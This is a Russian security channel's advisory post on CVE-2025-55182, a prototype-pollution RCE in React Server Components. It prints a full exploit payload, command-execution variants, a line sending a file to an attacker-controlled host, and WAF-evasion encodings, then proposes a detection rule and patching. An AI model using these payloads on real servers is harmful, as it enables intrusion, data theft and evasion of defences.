TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #161 3.07K
Критическая уязвимость CVE-2025-55182

Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный JS-код.

Уязвимые версии: React 19.0.0, React 19.1.0, React 19.1.1, React 19.2.0 пакетов react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.

😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-502


😬 Кратко об уязвимости
Из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение. При обработке фрагментов и попытке разрешить ссылки React не проверял, существует ли запрошенный ключ в самом объекте. Это и приводило к загрязнению прототипа.

Flight-протокол допускает ссылки вида $1:key1:key2:...:keyN:
$1:__proto__:constructor:constructor


Протокол разбирает это так: взять фрагмент 1 -> получить поле __proto__ -> получить constructor -> опять получить constructor. Если нет проверки «является ли поле собственным свойством объекта», интерпретатор переходил в прототип, затем в Function constructor и в итоге получал сам конструктор функции.

😬 Примеры
Cтандартная нагрузка в большинстве эксплойтов:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('CODE');", "_formData": {"get": "$1:constructor:constructor"}}}


😬 Какие еще вариации полезных нагрузок есть и к каким последствиям может привести уязвимость

RCE
process.mainModule.require('child_process').execSync('CODE'); 

Вызов CODE через execSync — синхронную функцию, которая выполняет команду ОС. Инъекция происходит вслепую.

process.mainModule.require('child_process').execSync('CODE').toString().trim();;throw Object.assign(newError('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=${res};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Аналог вышестоящей команды, но с выводом результата команды в заголовке x-action-redirect.

process.mainModule.require('child_process').spawnSync('CODE', { shell: true, stdio: 'ignore' })

Вызов CODE через spawnSync — синхронную версию функции, которая позволяет запускать внешние процессы напрямую. Инъекция происходит вслепую.

SSRF
process.mainModule.require('https').request({hostname:HOST',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('FILE'));

Выполнение SSRF через require('https'). HOST — сервер под контролем злоумышленника, FILE — содержимое файла, которое будет передано на HOST.

Bypass WAF/IDS
Для обхода сигнатур WAF/IDS злоумышленник может использовать Unicode:
:__proto__:then  -> \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e


Или строку CODE могут закодировать в base64 так:
execSync(Buffer.from('Q09ERQ==','base64').toString())


Так можно изменить с помощью String.fromCharCode — встроенной JavaScript-функцией, которая создаёт строку из набора числовых кодов символов.
process.mainModule.require('child_process').execSync('CODE');  ->  Function('return '+String.fromCharCode(112,114,111,99,101,115,115))().mainModule.require('child_process').execSync('CODE’)


Техники можно комбинировать, что усложняет обнаружение.
 \u0046\u0075\u006e\u0063\u0074\u0069\u006f\u006e('return '+String.fromCharCode(112,114,111,99,101,115,115))...


😬 Итог
Обнаружить классическими сигнатурами сложнее из-за вариативности нагрузок и методов обфускации, но лучше иметь какую-то защиту.

Рекомендуем написать правило на WAF/IDS, которое будет блокировать запросы вида метод POST, а также заголовки next-action или x-rsc-action. В том числе если тело запроса содержит ссылки $B, $@, $Q или их Unicode представления и опасные JS-методы или функции, например child_process, String.fromCharCode, _proto_, execSync ,spawnSync, _chunks, _formData, _response, toString. Нужно регистронезависимое правило.

Но самый лучший вид защиты — обновление уязвимых пакетов до новых версий.
  • 🔥 17
  • ✍ 8
  • ⚡ 3
  • ❤ 3
  • 👾 1
More from @four_rays
  1. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  2. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  3. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  4. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  5. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
  6. Aug 17, 2026😀 Admin may cry CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администрато…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →